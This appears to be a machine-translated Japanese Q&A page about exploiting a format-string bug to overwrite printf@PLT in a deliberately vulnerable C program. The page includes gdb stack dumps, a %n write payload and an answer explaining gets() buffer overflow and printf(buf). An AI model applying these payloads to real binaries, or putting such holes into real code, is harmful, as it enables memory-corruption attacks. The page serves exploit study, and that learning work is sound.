2016-09-19 15 views
0

私は、次のCコードでのprintfの脆弱性を悪用しようとしています:0x804a00c異なる入力方法でprintfの脆弱性を悪用するには?

08048370 <[email protected]>: 
8048370: ff 25 0c a0 04 08  jmp *0x804a00c 
8048376: 68 00 00 00 00   push $0x0 
804837b: e9 e0 ff ff ff   jmp 8048360 <_init+0x28> 
で再書き込み値によって

#include <stdio.h> 
#include <stdlib.h> 

/* 
gcc -fno-stack-protector -z execstack -o test test.c 
*/ 
void attack(){ 
    printf("Dropping to shell...\n"); 
} 

int main(int argc, char **argv){ 
    char buf[100]; 

    printf("Enter user name:"); 

    gets(buf); // what if using: scanf("%s",buf); ? 

    printf("buffer (%d): %s\n",strlen(buf), buf); 

    return 0; 
} 

それから私は、攻撃機能にジャンプするのprintfの@ PLTを変更しよう

GDBでテストするために次のコマンドを使用しました。私は0x804a00cの値を0x00000041に変更して、変更できることを確認します。それから私はそれを攻撃アドレスに変更することができます。

[------------------------------------stack-------------------------------------] 
0000| 0xbffff070 --> 0x80485c6 ("buffer (%d): %s\n") 
0004| 0xbffff074 --> 0x26 ('&') 
0008| 0xbffff078 --> 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n") 
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4a91b2bc 
0020| 0xbffff084 --> 0xbffff0a8 (".%60x%5\\$n") 
0024| 0xbffff088 --> 0xbffff0a0 ("04\\x08\").%60x%5\\$n") 
0028| 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n") 

が、私は思う:それは私のために動作しません。しかし

gdb-peda$ r 
Starting program: 
Enter user name:$(printf "\x0c\xa0\x04\x08").%60x%5\$n 

は、アドレスは私が(のprintf()のアドレスにブレーク)スタック内の値を検証しました、変更されません。別の形式に変更されたため、正しい値を渡しませんでした。私はargvを使って$(printf "\ x0c \ xa0 \ x04 \ x08")。%60x%5 \ $ nを渡すときに正しく渡すことができるので、gets()のためだと思います。

誰も問題を解決する方法を知っていますか?さらに、もし入力がscanf(%s、buf)を使っているなら、私はスタック上で次のようになりますが、これも間違っています。

[------------------------------------stack-------------------------------------] 
0000| 0xbffff070 --> 0x80485f9 ("buffer (%d): %s\n") 
0004| 0xbffff074 --> 0x8 
0008| 0xbffff078 --> 0xbffff08c ("$(printf") 
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4f936a87 
0020| 0xbffff084 --> 0xbffff0a8 --> 0xb7e21c34 --> 0x2aad 
0024| 0xbffff088 --> 0xbffff0a0 --> 0xffffffff 
0028| 0xbffff08c ("$(printf") 

答えて

0

ここではいくつかの誤解があります。

まず、$(cmd)は、シェルコマンド置換です。引数を渡すときに便利です。例えば、./foo $(python -c 'print "A"*4')./foo AAAAに相当します。プログラムがstdinから入力を受け取る場合、パイプを使用する必要があります。たとえば、python -c 'print "A"*4' | ./foo./fooを実行し、キーボードにAAAAと入力するのと同じです。

第2に、のコードにフォーマット文字列の脆弱性が実際に存在します。ただし、スタックバッファオーバーフロー(getsまたはscanf)があります。書式文字列の脆弱性は、printfscanfのような関数をユーザー制御の書式文字列で呼び出すと発生します。 gets(buf)scanf("%s", buf)との違いについては

printf("buffer (%d): ", strlen(buf)); 
printf(buf); // <-- this is vulnerable 
printf("\n"); 

:両方が改行/のEOFで停止しますが、scanfも中に見ることができる(空白で停止します、あなたがものをしたい場合は、最後のprintfに変更することができます出力は$(printfのみです)。

+0

ありがとうございますが、gdbでテストする方法はありますか?私はgdbの中でこれらの値を出力するためにpythonを実行することはできません。 – Eudaemon

+0

@Eudaemonあなたの入力をファイルに入れます(それは 'input'と呼ばれます)。次にGDBからのリダイレクトを使用します:' run

関連する問題